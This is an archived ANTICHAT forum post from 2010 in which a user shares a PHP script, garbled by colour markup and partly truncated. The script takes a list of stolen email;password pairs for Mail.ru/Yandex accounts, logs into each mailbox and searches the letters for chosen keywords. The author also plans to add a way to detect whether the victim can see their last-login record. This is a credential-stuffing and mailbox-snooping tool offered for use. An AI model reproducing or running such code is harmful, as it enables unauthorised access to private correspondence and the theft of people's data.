ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

28.09.2010, 03:25
|
|
Guest
Сообщений: n/a
Провел на форуме: 20670
Репутация:
10
|
|
Mail.ru/Yandex.ru letters finder
[PHP]
PHP:
PHP код:
[COLOR="#0000BB"]По запросу<font color="#000000">
Вот написал тут.
Суть такова(с):
Вы отдаете ей на съеденье список mail;pass и задаете с исок слов, которые надо и скать в письмах.
Ну и на выходе список сов падений.
</font>[COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]найдено[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$letters[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]письмо(а/ем)
"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]preg_match_all[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);;
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);
echo[/COLOR][COLOR="#DD0000"]"
"[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
} else {
echo[/COLOR][COLOR="#DD0000"]"По запросу[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]писем не найдено"[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"users.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//"[/COLOR][COLOR="#007700"];
while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Password contains ; "[/COLOR][COLOR="#007700"];
continue;
}
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
if([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#DD0000"]@[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#DD0000"];[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]= Array([/COLOR][COLOR="#DD0000"]"и раз"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и двас"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и трис"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и n-c"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//"[/COLOR][COLOR="#007700"];
foreach([/COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]mail_search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);
}
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]?>[/COLOR]
[/COLOR] Особо не тестил , но вроде пашет. Скорочть не ахти, но всяко лучше чем руками. Буду рад принять советы по оптимизации.
ЗЫ
Надо дописать еще штуку, которая будет палить если у юзверя включено отображение последнего входа
ЗЫЫ
Извиняюсь, если где нибудь подобное уже выкладывалось. Не нашел.[/B]
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|